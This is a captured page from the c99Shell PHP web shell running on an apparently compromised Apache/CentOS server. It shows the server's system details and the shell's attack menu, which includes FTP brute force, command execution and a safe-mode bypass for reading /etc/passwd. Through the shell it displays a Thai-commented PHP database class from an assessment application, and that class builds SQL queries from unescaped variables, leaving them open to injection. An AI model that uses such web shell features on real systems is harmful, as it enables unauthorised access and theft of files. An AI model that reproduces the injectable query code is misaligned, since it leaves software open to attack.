!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/eassess/class/   drwxr-xr-x
Free 52.32 GB of 127.8 GB (40.93%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     clsTextQuestion.php (5.77 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
//--Class TextQuestion--------------------------
//--PK of TextQuestion ::
//    1. TQid

//include_once "clsDB.php";

class TextQuestion extends clsDB{

var 
$result;

var 
$TQid;
var 
$assid;
var 
$sectionTQid;
var 
$nameTQ;
var 
$sequence;

function 
TextQuestion(&$c){
    
$this->c=$c->c;
    
$this->DB=$c->db;
}

function 
Save(){
//--ใช้เมธอดนี้เมื่อต้องการบันทึกข้อมูลในอ๊อบเจ๊กเข้าสู่ฐานข้อมูล
//--โดยจะตรวจสอบสถานะของข้อมูลว่าข้อมูลในอ๊อบเจ๊กเป็นข้อมูลใหม่หรือข้อมูลเดิม
//--1 เป็นข้อมูลใหม่  2 เป็นข้อมูลเดิม
    
if ($this->status==1){
        
//uncomment a line below if your table use ID as running number
        
$this->TQid=$this->GetNextCode();
        
$this->sequence $this->GetNextCode();
        
$sql "insert into TextQuestion values(
            '$this->TQid',
             '$this->assid',
             '$this->sectionTQid',
             '$this->nameTQ',
             '$this->sequence'
            )"
;
    }else {
        
$sql "update TextQuestion set 
            assid='$this->assid', 
            sectionTQid='$this->sectionTQid', 
            nameTQ='$this->nameTQ', 
            sequence='$this->sequence' 
            where TQid='$this->TQid'"
;
    }
    
//echo "<br> sql = ".$sql;
    
return $this->Dml($sql);
}

function 
Delete(){
//--ใช้เมธอดนี้เพื่อลบข้อมูลเดิมในอ๊อบเจ๊ก
//--เป็นการลบข้อมูลทีละ 1 เรคอร์ด
//--ต้องเรียกเมธอดตามลำดับดังนี้ SearchByKey()-->GetRecord()-->Delete()
    
return $this->Dml("delete from TextQuestion where TQid='$this->TQid'");
}

function 
DeleteTQBySectonTQid(){
//--ใช้เมธอดนี้เพื่อลบข้อมูลเดิมในอ๊อบเจ๊ก
//--เป็นการลบข้อมูลทีละ 1 เรคอร์ด
//--ต้องเรียกเมธอดตามลำดับดังนี้ SearchByKey()-->GetRecord()-->Delete()
    
$sql "delete from TextQuestion where sectionTQid = '$this->sectionTQid'";
    
//echo "<br> sql TextQuestion delete by sectionRQid ==> ".$sql;
    
return $this->Dml($sql);
}

function 
GetNextCode(){
//--ใช้เมธอดนี้เพื่อหาค่าสูงสุดของฟิลด์ที่ใช้เป็นคีย์ของตาราง ในลักษณะ auto increment
//--ต้องเป็นฟิลด์ที่ไม่ได้กำหนดรหัสเองทางจอภาพ
    
$this->SetQuery("select max(TQid) as num from TextQuestion");
    if (
$result=$this->GetResult()) {
        return 
$result['num']+1;
    }
}

function 
RSTextQuestion(){
//--เมธอดที่ขึ้นต้นด้วย RS (Result Set) มีความหมายว่าจะได้รับข้อมูลกลับมาจากการ select มากกว่า 1 เรคอร์ด
//--ปกติเมื่อเรียกใช้เมธอด RSxxxx จะต้องเรียกเมธอด GetRecord() ด้วยเสมอ
//--โดยสามารถเพิ่มเมธอดได้ตามต้องการ แต่ต้องขึ้นต้นด้วย RS
    
$this->SetQuery("select * from TextQuestion order by TQid");
}

function 
GetRecord(){
//--เป็นเมธอดที่นำข้อมูลจาก ResultSet มากำหนดให้กับแอตทริบิวต์ของอ๊อบเจ็ก
//--เรียก GetRecord() หนึ่งครั้ง จะเลื่อนตัวชี้เรคอร์ดไปอีกหนึ่งเรคอร์ด
    
if ($this->result $this->GetResult()) {
        
$this->TQid $this->result['TQid'];
        
$this->assid $this->result['assid'];
        
$this->sectionTQid $this->result['sectionTQid'];
        
$this->nameTQ $this->result['nameTQ'];
        
$this->sequence $this->result['sequence'];
        return 
1;
    }else {
        return 
0;
    }
}

function 
SearchByKey($xKey){
//--ใช้เมธอดนี้เพื่อค้นหาข้อมูลตาม PK ต้องระบุพารามิเตอร์ด้วย
//--และต้องตามด้วยเมธอด GetRecord() เสมอ
    
if ($this->SetQuery("select * from TextQuestion where TQid= '$xKey'")){ 
        return 
1;
    }else {
        return 
0;
    }
}

function 
SearchByKeySectionTQid($xKey){
//--ใช้เมธอดนี้เพื่อค้นหาข้อมูลตาม PK ต้องระบุพารามิเตอร์ด้วย
//--และต้องตามด้วยเมธอด GetRecord() เสมอ
    
if ($this->SetQuery("select * from TextQuestion where sectionTQid= '$xKey'")){ 
        return 
1;
    }else {
        return 
0;
    }
}

//****************** You can add new functions below **********************//

function RSTextQByKey($xKey1,$xKey2){
    
$sql "select * from TextQuestion where assid= '$xKey1' and sectionTQid = '$xKey2' order by 'sequence'";
    
$this->SetQuery($sql);
}

function 
RSSearchTQByKey($xassid,$xTQid,$xsectionTQid){
    
$sql "select * from TextQuestion where assid= '$xassid' and TQid = '$xTQid' and sectionTQid = '$xsectionTQid'";
    
$this->SetQuery($sql);
}

function 
getMinSeqTQ($xKey1,$xKey2){
    
$this->SetQuery("select min(sequence) as num from TextQuestion where assid = '$xKey1' and sectionTQid = '$xKey2'");
    if (
$result=$this->GetResult()) {
        return 
$result['num'];
    }
}

function 
getMaxSeqTQ($xKey1,$xKey2){
    
$this->SetQuery("select max(sequence) as num from TextQuestion where assid = '$xKey1' and sectionTQid = '$xKey2'");
    if (
$result=$this->GetResult()) {
        return 
$result['num'];
    }
}

function 
RSCountLevel($xKey1,$xKey2){
        
$this->SetQuery("select count(*) as num  from TextQuestion where assid = '$xKey1' and sectionTQid = '$xKey2'");
        
$result $this->GetResult();
        return 
$result['num'];
}

function 
CountByAssidSectionTQid($xassid,$xsectionTQid){
        
$this->SetQuery("select count(*) as num  from TextQuestion where assid = '$xassid' and sectionTQid = '$xsectionTQid'");
        
$result $this->GetResult();
        return 
$result['num'];
}

function 
swapQuestion($xud,$xassid,$xTQid,$xsectionTQid,$xsequence){

    if(
$xud == "u"){
        
$sql "select TQid, sequence from TextQuestion where assid = '$xassid'  and sequence < '$xsequence' order by 'sequence' Desc limit 0,1";
        
$this->SetQuery($sql);

        
$result=$this->GetResult();
        
$upTQid $result['TQid'];
        
$upSequence $result['sequence'];
        
        
$sql "update TextQuestion set sequence = '$xsequence'  where  TQid = '$upTQid'";
        
$this->Dml($sql);

        
$sql "update TextQuestion set sequence = '$upSequence'  where  TQid = '$xTQid'";
        
$this->Dml($sql);
    }

    if(
$xud == "d"){

        
$sql "select TQid, sequence from TextQuestion where assid = '$xassid' and sequence > '$xsequence' order by 'sequence' limit 0,1";
        
$this->SetQuery($sql);

        
$result=$this->GetResult();
        
$upTQid $result['TQid'];
        
$upSequence $result['sequence'];

        
$sql "update TextQuestion set sequence = '$xsequence'  where  TQid = '$upTQid'";
        
$this->Dml($sql);

        
$sql "update TextQuestion set sequence = '$upSequence'  where  TQid = '$xTQid'";
        
$this->Dml($sql);

    }
}

//--End class TextQuestion--

?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0055 ]--